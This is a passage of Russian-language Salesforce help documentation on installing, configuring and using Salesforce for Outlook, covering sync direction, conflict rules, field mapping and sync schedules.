почты и событиях, могут просматриваться прямо в приложении Outlook.

Взависимостиоторганизации, пользователимогутнастраиватьобъектыинаправления
синхронизации между приложением Outlook и системой Salesforce. Уровень, доступный пользователям для настройки
данных параметров в системе Salesforce, определяется администратором.

Чтобы понять принципы повышения эффективности и предотвращения повторов при использовании приложения
Salesforce for Outlook, просмотрите схему ниже.
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Подробное руководство по настройке приложения Salesforce for Outlook см. в документе «Синхронизация приложения
Microsoft® Outlook® и системы Salesforce».

Языки, поддерживаемые приложением Salesforce for Outlook

Загрузка программы установки Salesforce for Outlook

Программа установки доступна для загрузки в системе Salesforce.

Установка и настройка приложения Salesforce for Outlook

Управление конфигурацией Salesforce for Outlook

Взависимостиот того, позволяетливамадминистраторизменятьнастройки, выполнитепользовательскуюнастройку
Salesforce for Outlook так, чтобы она соответствовала вашим потребностям.

Доступ к параметрам и инструментам приложения Salesforce for Outlook

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Приложение Salesforce for Outlook позволяет прекратить создание повторяющихся контактов, событий и задач в
приложении Outlook и системе Salesforce, а также начать между ними синхронизацию данных.

Мои неопределенные элементы
При использовании Salesforce for Outlook, Exchange Sync или Email to Salesforce для синхронизации элементов или
добавления сообщений эл. почты из почтового приложения в систему Salesforce, любые элементы, которые не могут
быть автоматически назначены записям Salesforce, добавляются на страницу «Мои неопределенные элементы».

Удаление элементов, синхронизируемых посредством приложения Salesforce for Outlook

Элемент, синхронизируемый посредством приложения Salesforce for Outlook, может быть одновременно удален из
Salesforce и Outlook путем его удаления только из одной системы. Повторяющиеся задачи и недавно обновленные
элементы, подлежащие удалению, требуют специальной обработки.
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Просмотр записей Salesforce в приложении Microsoft® Outlook®

Система позволяет просматривать контакты и интересы Salesforce, связанные с важными сообщениями эл. почты
Outlook, прямовприложении Outlook. Боковаяпанель Salesforceотображает записи Salesforce, доступныедлядобавления
сообщений эл. почты, событий и задач Outlook.

Создание обращений в ленте Outlook Ribbon с помощью Salesforce for Outlook

СМ. ТАКЖЕ:

Salesforce for Outlook. Требования к системе

Загрузка программы установки Salesforce for Outlook

Установка и настройка приложения Salesforce for Outlook

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Языки, поддерживаемые приложением Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Ниже перечислены языки, поддерживаемые приложением Salesforce for Outlook.

• Китайский (упрощенный)

• Китайский (традиционный)

• Чешский

• Датский

• Голландский

• Английский

• Немецкий

• Финский

• Французский

• Еврейский

• Венгерский

• Итальянский

• Японский

• Корейский

• Польский

• Португальский (Бразилия)

• Румынский

• Русский

• Испанский

• Испанский (Мексика)

• Шведский

• Тайский

• Турецкий

• Украинский

• Вьетнамский

Ниже перечислены языки, которые не поддерживаются программой установки Salesforce for Outlook.
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• Еврейский

• Португальский (Бразилия)

• Румынский

• Испанский (Мексика)

• Тайский

• Вьетнамский

Загрузка программы установки Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки приложения
Salesforce for Outlook:
• Назначение активной

конфигурации И

Действительный набор
данных для каждого
синхронизируемого
объекта

Для изменения папок
синхронизации:
• Профиль Outlook,

выбранный впараметрах
почты в качестве
профиляпо умолчанию,
И

Предоставление
пользователям
возможности изменения
параметра «Папка
Outlook для
синхронизации
контактов» в
конфигурации Outlook

Программа установки доступна для загрузки в системе Salesforce.

1. Закройте приложение Microsoft® Outlook®.

2. ЗакройтеприложениеSalesforce for Outlook. Правойкнопкоймышищелкните значок
Salesforce for Outlook ( ) в системной области рабочего стола и выберите пункт
«Выход».

3. Прииспользованииприложения Salesforce for Outlook 2.4.2 или более ранней версии
удалите текущую версию на панели управления Microsoft Windows®. При
необходимости обратитесь к администратору Windows. При использовании
приложения Salesforce for Outlook 2.5.0. или более поздней версии перейдите к
следующему действию.

4. В личных параметрах введите строку «Salesforce for Outlook» в поле
«Быстрый поиск» в меню «Настройка» и выберите пункт «Salesforce for Outlook».

5. Нажмите кнопку «Загрузить». Затем нажмите кнопку «Сохранитьфайл». Если
кнопка «Загрузить»недоступна, обратитеськ администраторуспросьбойназначить
конфигурацию Outlook.

Чтобы одновременно установить приложение для нескольких пользователей,
рекомендуем администраторам воспользоваться программой установки .msi.

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Salesforce for Outlook. Требования к системе

Установка и настройка приложения Salesforce for Outlook

Индивидуальная настройка системы Salesforce
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Установка и настройка приложения Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки приложения
Salesforce for Outlook:
• Назначение активной

конфигурации И

Действительный набор
данных для каждого
синхронизируемого
объекта

Для изменения папок
синхронизации:
• Профиль Outlook,

выбранный впараметрах
почты в качестве
профиляпо умолчанию,
И

Предоставление
пользователям
возможности изменения
параметра «Папка
Outlook для
синхронизации
контактов» в
конфигурации Outlook

1. Откройте сохраненныйфайл и завершите установку.

Прим.: Мастервыполнитавтоматическуюустановку .NET 4 (в случаеотсутствия).
Чтобы завершитьпроцесс установки, рекомендуемповторно запуститьмастер
установкипослеперезагрузкикомпьютера, выполняемойврезультатеустановки
.NET 4.

2. Откройте приложение Microsoft® Outlook®. При этом откроется мастер настройки, а
в системной области появится значок Salesforce for Outlook ( ). Принеобходимости
мастер может быть открыт вручную. Правой кнопкой мышищелкните значок и
выберите пункт «Параметры».

3. Чтобы изменить сервер, используемый для входа в систему Salesforce, щелкните
«Изменить URL-адрес»ивыберитенужныйсервер. Еслинужныйсерверотсутствует,
выберите пункт «Другое...» и введите URL-адрес (например, настраиваемый домен,
используемый организацией).

4. Введите имя пользователя и пароль Salesforce.

5. Нажмите кнопку «Утвердить». При этом устанавливается безопасное соединение
междуприложением Outlook исистемой Salesforce. Повторныйвход требуется только
в случае возникновения ошибки.

Прим.: Если организация использует ограниченный диапазон IP-адресов, то
вход посредством непроверенных IP-адресов возможен только после их
активации. Salesforce автоматическиотправитсообщениеэл. почты, содержащее
ссылку для входа в систему. Данная ссылка позволяет выполнять вход с любого
IP-адреса.

6. Нажмитекнопку «Далее»ипросмотритенаправлениясинхронизации, настроенные
администратором. Чтобы выбрать другие папки для синхронизации элементов
Outlook, щелкните «Изменитьпапку»и выберите папки внутри стандартныхпапок
или основной папки почтового ящика.
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7. Нажмите кнопку «Далее» и выберите метод синхронизации.

• Определите необходимость синхронизации всех контактов, событий и задач. Элементам, которые не подлежат
синхронизации, должна быть назначена категория Outlook «Не синхронизировать с Salesforce».

• Определитенеобходимость синхронизацииотдельныхконтактов, событийизадач. Элементам, которыеподлежат
синхронизации, должна быть назначена категория Outlook «Синхронизировать с Salesforce».

8. Нажмите кнопку «Далее» и выберите нужные типы личных элементов.

9. Нажмите кнопку «Сохранить». Теперь значок ( ) в системной области активен, а рядом с ним отображается
приветственное сообщение. При настройке синхронизации элементов Outlook и выборе метода синхронизации
«Синхронизировать только выбранные элементы Outlook» все элементыввыбранныхпапках синхронизируются
автоматически. Значок вращается при каждой синхронизации.

Удаление приложения Salesforce for Outlook

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Salesforce for Outlook. Требования к системе

Загрузка программы установки Salesforce for Outlook

Удаление приложения Salesforce for Outlook

Удаление приложения Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

1. Закройте приложение Outlook.

2. Правой кнопкой мышищелкните значок синхронизации ( ) и выберите пункт
«Выход».

3. Чтобы удалить приложение Salesforce for Outlook, воспользуйтесь компонентом
«Установка и удаление программ» на панели управления Windows.

Чтобы переустановить приложение Salesforce for Outlook, удалите устаревшие файлы
базы данных Salesforce for Outlook. В противном случае приложение Salesforce for Outlook
будет использовать предыдущие параметры синхронизации. Стандартное размещение
файла базы данных определяется используемой операционной системой.

• (Microsoft Windows 7 и Vista)
C:\Users\имя_пользователя\AppData\Roaming\salesforce.com\Salesforce for Outlook\DB\

• (Microsoft Windows XP) C:\Documents and Settings\имя_пользователя\Application
Data\salesforce.com\Salesforce for Outlook\DB\
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Управление конфигурацией Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Salesforce for Outlook
• Назначение активной

конфигурации

Взависимостиот того, позволяетливамадминистраторизменятьнастройки, выполните
пользовательскуюнастройку Salesforce for Outlook так, чтобыона соответствовала вашим
потребностям.

1. В разделе личных настроек Salesforce выполните поиск Salesforce for Outlook. Затем
нажмите кнопку «Просмотр моей конфигурации».

2. В зависимости от наличия нужных привилегий вы можете выполнять следующие
действия.

• Редактирование параметров эл. почты

• Редактирование параметров синхронизации

• Редактирование направления синхронизации

• Редактирование параметров конфликта

• Просмотр критериев соответствия

• Редактирование соотнесений полей

3. Сохраните внесенные изменения. Все изменения вступят в силу при следующей
синхронизацииданных. Чтобывосстановитьпервоначальныенастройки, щелкните
ссылку «Вернуться к стандартным значениям», расположенную в верхней части
измененной конфигурации. При необходимости параметры пользователя могут
быть изменены администратором.

Редактирование параметров эл. почты Salesforce for Outlook

Узнайте, позволяет ли вам администратор добавлять сообщения электроннойпочты в Salesforceиз Microsoft® Outlook®,
и измените настройки электронной почты в соответствии со своими потребностями.

Редактирование параметров синхронизации Salesforce for Outlook

В зависимости от набора разрешений, предоставленного администратором, настройте элементы, которые будут
синхронизироваться между Microsoft Outlook и Salesforce, а также направления синхронизации.

Настройка направления синхронизации Salesforce for Outlook

В зависимости от разрешения, предоставленного администратором, настройте направление синхронизации между
Microsoft® Outlook® и Salesforce в зависимости от предпочтений.

Редактирование параметров конфликта
Укажите событие, которое должно произойти при возникновении конфликта при синхронизации записей
Salesforce for Outlook и Microsoft® Outlook® и Salesforce.

Просмотр критериев соответствия Salesforce for Outlook

См. совпадающие критерии, назначенные вам администратором.

Задание полей Salesforce, которые будут синхронизироваться с Microsoft® Outlook®

Взависимостиотразрешений Salesforce for Outlook, сопоставьтеполяиз записей Salesforce, которые синхронизируются
с Outlook.
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Редактирование параметров эл. почты Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Salesforce for Outlook:
• Назначение активной

конфигурации

Для редактирования
параметров эл. почты:
• «Добавить сообщение

эл. почты»

Узнайте, позволяет ли вам администратор добавлять сообщения электронной почты в
Salesforceиз Microsoft® Outlook®, иизменитенастройкиэлектроннойпочтыв соответствии
со своими потребностями.

1. В разделе личных настроек Salesforce выполните поиск Salesforce for Outlook. Затем
нажмите кнопку «Просмотр моей конфигурации».

Если флажок «Добавить сообщение эл. почты» установлен, то в Outlook
отображаются варианты «Добавить сообщение эл. почты» и «Отправить и
добавить».

Прим.: Если вы не увидите варианты «Добавить сообщение эл. почты и
Отправить и добавить, попросите администратора активировать отправку
сообщений в Salesforce.

2. Щелкните «Параметрыфункции Email to Salesforce».

3. Введите нужные адреса электронной почты в поле «Мои допустимые адреса эл.
почты». Привводенесколькихадресов эл. почтырекомендуемиспользовать запятые.

4. Выберите, будут ли все сообщения электронной почты отправляться в папку Мои
неопределенные элементы (чтобы затем их можно было назначить связанным
записям) или сначала будет предприниматься попытка Salesforce выполнить
назначение этих элементов.

5. Чтобы добавлять сообщения эл. почты в качестве действий в совпадающие
возможности, интересы или контакты, настройте функцию Email to Salesforce. Если
вынастроите Email to Salesforce так, чтобысообщенияэлектроннойпочтысвязывались
с подходящимиинтересамиили контактами, Salesforce выполнит поиск по полямКомуиКопия, чтобынайти адреса
электроннойпочтыинтересовиликонтактов. Приобнаруженииинтересовиликонтактов система Salesforce сохраняет
сообщение эл. почты в связанном списке «Журнал действий» соответствующей записи.

6. Если вы выбрали интересы или контакты, то необходимо следующее.

• Укажите, как средству Email to Salesforce следует обрабатывать сообщения электронной почты, которые содержат
сведения об интересах или контактах, которые соответствуют дублируемым записям.

• Установите флажок «Если совпадения не найдены, создать задачу и добавить ее в список "Мои
неопределенные элементы» при выборе интересов или контактов. Если не отметить флажком этот пункт, а
Salesforce не сможет определить адреса электронной почты в полях Кому или От кого, сообщение электронной
почты не будет сохранено в Salesforce.

7. Чтобы сохранять вложения из сообщений эл. почты, отправленных в систему Salesforce, установите флажок «Всегда
сохранять вложения эл. почты».

8. Чтобы получать подтверждение об отправке сообщения эл. почты в Salesforce, выберите «Отправить электронное
подтверждение о связывании».

9. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление конфигурацией Salesforce for Outlook

Добавление сообщений эл. почты Microsoft® Outlook® в записи Salesforce

ПО для настольных ПК Salesforce для Outlook
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Редактирование параметров синхронизации Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Salesforce for Outlook
• Назначение активной

конфигурации

Для отмены синхронизации:
• «При синхронизации

объекта»

В зависимости от набора разрешений, предоставленного администратором, настройте
элементы, которыебудут синхронизироватьсямежду Microsoft Outlook и Salesforce, а также
направления синхронизации.

1. В разделе личных настроек Salesforce выполните поиск Salesforce for Outlook. Затем
нажмите кнопку «Просмотр моей конфигурации».

2. Чтобыпросмотретьтипызаписей, доступныедлясинхронизации, наведитеуказатель
мыши на значки фильтров ( ).

3. Чтобы остановить синхронизацию того или иного элемента, снимите флажок с
соответствующегопункта. Всеполя, связанныесданнымэлементом, будутнедоступны
на странице.

4. Сохраните внесенные изменения. Все изменения вступят в силу при следующей
синхронизацииданных. Чтобывосстановитьпервоначальныенастройки, щелкните
ссылку «Вернуться к стандартным значениям», расположенную в верхней части
измененной конфигурации. При необходимости параметры пользователя могут
быть изменены администратором.

СМ. ТАКЖЕ:

Управление конфигурацией Salesforce for Outlook

Общиесведенияосинхронизациимеждуприложением Microsoft® Outlook®исистемой
Salesforce

Настройка направления синхронизации Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Salesforce for Outlook
• Назначение активной

конфигурации

Для изменения направления
синхронизации:
• «Направление

синхронизации»

В зависимости от разрешения, предоставленного администратором, настройте
направление синхронизации между Microsoft® Outlook® и Salesforce в зависимости от
предпочтений.

1. В разделе личных настроек Salesforce выполните поиск Salesforce for Outlook. Затем
нажмите кнопку «Просмотр моей конфигурации».

2. Выберите одно из указанных ниже значений для каждого объекта в разделе
«Направление синхронизации».

• «Из Outlook в Salesforce»: при первой синхронизации данных запись
Outlook создает или обновляет запись Salesforce. Во время последующих
синхронизацийизменения, внесенныев записи Outlook, отображаютсяв Salesforce,
независимо от того, была ли изменена версия записи в Salesforce. Кроме того,
удаление синхронизированной записи Outlook приводит к удалению
соответствующей записи Salesforce. Изменения Salesforce не переносятся в
приложение Outlook. При таком направлении синхронизации алгоритму
конфликтадолжнобыть задано значение «Приоритет Outlook выше». Данное
направление недоступно для контактов.

• «Из Salesforce в Outlook»: при первой синхронизации данных запись
Salesforce создает или обновляет запись Outlook. Во время последующих
синхронизацийизменения, внесенныев записи Salesforce, отображаютсяв Outlook,
независимо от того, была ли изменена версия записи в Outlook. Кроме того,
удаление синхронизированной записи Salesforce приводит к удалению
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соответствующей записи Outlook. Изменения Outlook не переносятся в систему Salesforce. При таком направлении
синхронизации алгоритму конфликта должно быть задано значение «Приоритет Salesforce выше».

• Синхронизация в обоих направлениях  — при синхронизации записей изменения в Outlook и Salesforce
синхронизируются между двумя системами. В случае возникновения конфликта запись, имеющая приоритет,
определяется параметрами алгоритма конфликта.

3. Сохраните внесенные изменения. Все изменения вступят в силу при следующей синхронизации данных. Чтобы
восстановитьпервоначальныенастройки, щелкнитессылку«Вернутьсякстандартнымзначениям», расположенную
в верхней части измененной конфигурации. При необходимости параметры пользователя могут быть изменены
администратором.

СМ. ТАКЖЕ:

Управление конфигурацией Salesforce for Outlook

Редактирование параметров конфликта

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Salesforce for Outlook
• Назначение активной

конфигурации

Для изменения алгоритма
конфликта:
• «Алгоритм конфликта»

Укажите событие, которое должно произойти при возникновении конфликта при
синхронизации записей Salesforce for Outlook и Microsoft® Outlook® и Salesforce.

1. В разделе личных настроек Salesforce выполните поиск Salesforce for Outlook. Затем
нажмите кнопку «Просмотр моей конфигурации».

2. Выберитеодноизуказанныхнижезначенийдлякаждогосинхронизируемогообъекта
в разделе «Алгоритм конфликта».

• Приоритет Salesforce выше

• Приоритет Outlook выше

3. Сохраните внесенные изменения. Все изменения вступят в силу при следующей
синхронизацииданных. Чтобывосстановитьпервоначальныенастройки, щелкните
ссылку «Вернуться к стандартным значениям», расположенную в верхней части
измененной конфигурации. При необходимости параметры пользователя могут
быть изменены администратором.
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Просмотр критериев соответствия Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Salesforce for Outlook
• Назначение активной

конфигурации

Для просмотра
конфигурации:
• Назначение

конфигурации

См. совпадающие критерии, назначенные вам администратором.

Если у вас есть несколько контактов Salesforce, соответствующих контакту в Outlook,
Salesforce for Outlook потребуется определить, какой контакт с каким следует
синхронизировать. Администратор установит критерии того, как Salesforce for Outlook
будет выбирать нужный контакт.

Просмотрите назначенные критерии соответствия. Ниже перечислены доступные
столбцы.

• «Последнее действие»: выборконтакта Salesforce, использовавшегосяприпоследнем
действии (например, для звонка или сообщения эл. почты), согласно связанному
списку контакта «Журнал действий». Данный параметр является критерием
соответствия по умолчанию.

• «Последнее обновление»: выбор контакта Salesforce, измененного последним.

• «Самое раннее»: выбор контакта Salesforce, созданного первым.

СМ. ТАКЖЕ:

Управление конфигурацией Salesforce for Outlook
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Задание полей Salesforce, которые будут синхронизироваться с Microsoft® Outlook®

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Salesforce for Outlook
• Назначение активной

конфигурации

Для изменения соотнесений
полей:
• Предоставление

пользователям
возможности изменять
соотнесения полей в
конфигурации

Взависимостиотразрешений Salesforce for Outlook, сопоставьтеполяиз записей Salesforce,
которые синхронизируются с Outlook.

Соотнесение полей определяет поля Salesforce и Outlook, которые соотносятся друг с
другом во время синхронизации элементов между двумя системами.

1. В разделе личных настроек Salesforce выполните поиск Salesforce for Outlook. Затем
нажмите кнопку «Просмотр моей конфигурации».

2. Чтобы просмотреть все доступные поля для записей данного объекта, щелкните
ссылку «Редактировать соотнесенияполей» в элементе «Контакты», «События»
или «Задачи».

3. Просмотрите поля Salesforce, соотнесенные с каждым полем Outlook.

4. Отредактируйте соотнесения полей Salesforce или Outlook, которые необходимо
изменить, или создайте соотнесения для настраиваемых полей. Salesforce for Outlook
позволяет редактировать любые соотнесения полей с помощью раскрывающегося
списка. Больше соотнесений можно добавить в нижней части списка. Удалить
соотнесение можно, нажав на крестик (Х) рядом с ним.

Внимание: При соотнесении настраиваемых полей, которые являются
обязательными, убедитесь в использовании значений по умолчанию, во
избежание возможных ошибок. Обратите внимание также, что соотнесение
настраиваемых полей, сопровождаемое проверкой Salesforce, может привести
к возникновению ошибок синхронизации. Например, вы сопоставляете
пользовательскоеполеSalesforce, длякоторогонеобходимоуникальноезначение.
Если вы введете в поле Outlook значение, которое не является уникальным,
возникнет ошибка.

5. Нажмитекнопку«Сохранить». Соотнесенияполейначинаютсинхронизациюсэлементами, которыеприследующем
входебудутобновленыпосредством Salesforceили Outlook.Чтобывосстановитьпервоначальныенастройки, щелкните
ссылку «Вернутьсякстандартнымзначениям», расположеннуюв верхнейчастиизмененной конфигурации. При
необходимости параметры пользователя могут быть изменены администратором.

СМ. ТАКЖЕ:

Управление конфигурацией Salesforce for Outlook

Доступ к параметрам и инструментам приложения Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

После установкиприложения Salesforce for Outlook системная область Microsoft® Windows
дополняется значком ( ).

Ниже перечислены действия, поддерживаемые значком в системной области.

• Синхронизация элементов Outlook и Salesforce

• Просмотр журнала синхронизации
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• Принятие решений по неопределенным синхронизированным элементам

• Управление конфигурацией Salesforce for Outlook

• Управление элементами Outlook, подлежащими синхронизации с системой Salesforce на странице 1790

• Изменение учетных данных

• Скрытие предупреждений

• Просмотр ошибок

• Изменение папок синхронизации

• Доступ к интерактивной справке Salesforce for Outlook

Доступ к приложению в системной области

• Чтобыперезапуститьприложениеприотсутствии значка, дваждыщелкните ярлык Salesforce for Outlookнарабочем
столе или последовательно выберите пункты «Пуск» > «Все программы» > «salesforce.com» >
«Salesforce for Outlook».

• Если значок ( ) неактивен, откройте сначала приложение Outlook.

• Если значок не отображается, щелкните стрелку напротив системной области и перетащите значок
Salesforce for Outlook в системную область.

Просмотр журнала синхронизации Salesforce for Outlook

Изменение учетных данных Salesforce for Outlook

Изменение папок синхронизации Salesforce for Outlook

Чтобы синхронизировать контакты, события и задачи между приложением Microsoft® Outlook® и системой Salesforce,
рекомендуем настроить приложение Salesforce for Outlook для синхронизации элементов в выбранных папках Outlook.

Скрытие предупреждений Salesforce for Outlook

Приложение позволяет скрывать предупреждения о синхронизации и других ошибках, отображаемые в системной
области.

Просмотр ошибок Salesforce for Outlook

Просмотр журнала синхронизации Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Помимо сведений об устранении ошибок в приложении Salesforce for Outlook, журнал
синхронизации также регистрирует количество записей, содержащих ошибки, и
количество записей, созданных, обновленныхили удаленных во время синхронизации.

Чтобы просмотреть данный журнал, правой кнопкой мышищелкните значок ( ) в
системной области рабочего стола и выберите пункты «Синхронизировать» >
«Просмотржурнала синхронизации».

СМ. ТАКЖЕ:

Доступ к параметрам и инструментам приложения Salesforce for Outlook

1772

Управление электронной почтойПродажи клиентам



Изменение учетных данных Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для входа в приложение
Salesforce for Outlook:
• Назначение активной

конфигурации

В случае изменения имени пользователя или пароля в системе Salesforce также должны
быть обновлены учетные данные для приложения Salesforce for Outlook.

1. Правой кнопкой мышищелкните значок ( ) в системной области рабочего стола
и выберите пункт «Параметры».

2. Щелкните «Изменить пользователя».

3. Введитедействительноеимяпользователяипароль Salesforce, а затемнажмитекнопку
«Вход в систему». При этом устанавливается безопасное соединение между
приложением Outlook и системой Salesforce. Повторный вход требуется только в
случае возникновения ошибки.

4. Нажмите кнопку «Далее», а затем кнопку «Готово».

Прим.: Если организация использует ограниченныйдиапазон IP-адресов, то вход
посредством непроверенных IP-адресов возможен только после их активации.
Система Salesforce автоматически отправляет сообщение эл. почты, содержащее
ссылку для входа и маркер безопасности, который должен быть добавлен в конец
пароля. Например, прииспользованиипароля МойПароль имаркерабезопасности
XXXXXXXXXX вход может быть выполнен только после ввода следующей строки:
МойПарольXXXXXXXXXX.

СМ. ТАКЖЕ:

Доступ к параметрам и инструментам приложения Salesforce for Outlook
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Изменение папок синхронизации Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения папок
синхронизации:
• Назначение активной

конфигурации

И

Профиль Outlook,
выбранный впараметрах
почты в качестве
профиля по умолчанию

Чтобы синхронизировать контакты, события и задачи между приложением Microsoft®

Outlook® и системой Salesforce, рекомендуем настроить приложение Salesforce for Outlook
для синхронизации элементов в выбранных папках Outlook.

1. Правой кнопкой мышищелкните значок ( ) в системной области рабочего стола
и выберите пункт «Параметры».

2. Щелкните «Изменить папку» и выберите или создайте папку внутри стандартных
папок или основной папки почтового ящика.

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Доступ к параметрам и инструментам приложения Salesforce for Outlook

Скрытие предупреждений Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Приложениепозволяет скрывать предупрежденияо синхронизациии других ошибках,
отображаемые в системной области.

Правой кнопкой мышищелкните значок ( ) в системной области рабочего стола и
выберите пункт «Скрыть предупреждения».

СМ. ТАКЖЕ:

Доступ к параметрам и инструментам приложения Salesforce for Outlook

1774

Управление электронной почтойПродажи клиентам



Просмотр ошибок Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

В случае возникновения ошибок во время синхронизации данных с помощью
приложенияSalesforce for Outlook, значокв системнойобластименяетсяна значокошибки
( ) и всплывает статусное сообщение с указанием количества ошибок.

Чтобыоткрытьдиалоговоеокно «Ошибка Salesforce for Outlook», содержащееподробные
сведения об обнаруженных ошибках, дваждыщелкните значок в системной области
рабочего стола илищелкните текст в области задач. Если ошибка связана с конкретной
записью Outlook, щелкните ссылку на эту запись для ее редактирования в Outlook.

Чтобыобновитьсписокпослеустраненияошибок, щелкните«Повторить». Приложение
Salesforce for Outlookвыполнитсинхронизациюданныхиудалитвсе устраненныеошибки.

СМ. ТАКЖЕ:

Доступ к параметрам и инструментам приложения Salesforce for Outlook

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Приложение Salesforce for Outlook позволяет прекратить создание повторяющихся
контактов, событий и задач в приложении Outlook и системе Salesforce, а также начать
между ними синхронизацию данных.

Необходимые полномочия пользователя
Направление
синхронизации

Синхронизируемые
записи

«Чтение» для контактов; для направления
синхронизации контактов должно быть
выбрано значение «Из Salesforce в
Outlook»

Из Salesforce в OutlookКонтакты

«Чтение» и «Редактирование» для контактов,
а также «Чтение» для организаций; для

Оба направления

направления синхронизации контактов
должнобытьвыбранозначение «Синхронизация
в обоих направлениях»

«Чтение» и «Редактирование» для событий;
для направления синхронизации событий и

Из Outlook в SalesforceСобытия и
задачи

задач должно быть выбрано значение «Из
Outlook в Salesforce»

«Чтение» и «Редактирование» для событий;
для направления синхронизации событий и

Из Salesforce в Outlook

задач должно быть выбрано значение «Из
Salesforce в Outlook»

«Чтение» и «Редактирование» для событий;
для направления синхронизации событий и

Оба направления

задач должно быть выбрано значение
«Синхронизация в обоих направлениях»
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Необходимые полномочия пользователяНаправление синхронизации
Синхронизируемые
записи

«Включить многодневные события» для действийМногодневные события

«Синхронизировать повторяющиеся задачи Salesforce с
приложением Outlook»

Повторяющиеся задачи Salesforce
(при синхронизации с
приложением Outlook)

Прежде чем загрузить и установить приложение Salesforce for Outlook, убедитесь, что папки Outlook содержат нужные
элементы. Если синхронизация выполняется по направлению из Outlook в Salesforce, то удаление записи из
синхронизированной папки Outlook инициирует ее удаление из Salesforce. Если синхронизация выполняется по
направлению из Salesforce в Outlook, то удаление записи из Salesforce инициирует ее удаление из Outlook.

Общие сведения о расписаниях синхронизации

Приложение Salesforce for Outlook синхронизирует элементы на основе системных операций. События и задачи
синхронизируются автоматически каждые 10 минут; контакты синхронизируются автоматически каждый час. После
30 минут бездействия приложение Salesforce for Outlook выполняет синхронизацию событий и задач каждые 30 минут.
После двух часов бездействия синхронизация всех обновлений выполняется автоматически каждыйчас, а после четырех
часов — каждые четыре часа.

При необходимости выполните синхронизацию вручную. Правой кнопкой мышищелкните значок ( ) в системной
области рабочего стола и последовательно выберите пункты «Синхронизировать» > «Синхронизировать».

Исключение определенных записей из синхронизации

Автоматическая синхронизация позволяет исключать некоторые элементы из процесса синхронизации посредством
приложения Salesforce for Outlook несколькими способами.

• Пользователи могут определять необходимость синхронизации элементов, помеченных в приложении Microsoft®

Outlook® в качестве личных. Чтобы предотвратить синхронизацию личных элементов, откройте параметры
Salesforce for Outlook и отмените выбор нужных типов личных элементов.

Элементы, синхронизированные в приложении Outlook и позже помеченные в качестве личных, хранятся в системе
Salesforce. Тем не менее, изменение элементов в приложении Outlook не инициирует обновление соответствующих
элементов Salesforce.

• Чтобыпредотвратить синхронизациюопределенных элементов Outlook, независимоот того, являются ониличными
или нет, назначьте им категорию Outlook «Не синхронизировать с Salesforce». Дополнительную информацию об
использовании категорий Outlook см. в документации к приложению Outlook.

Синхронизация контактов с помощью Salesforce for Outlook

Синхронизация событий с помощью Salesforce for Outlook

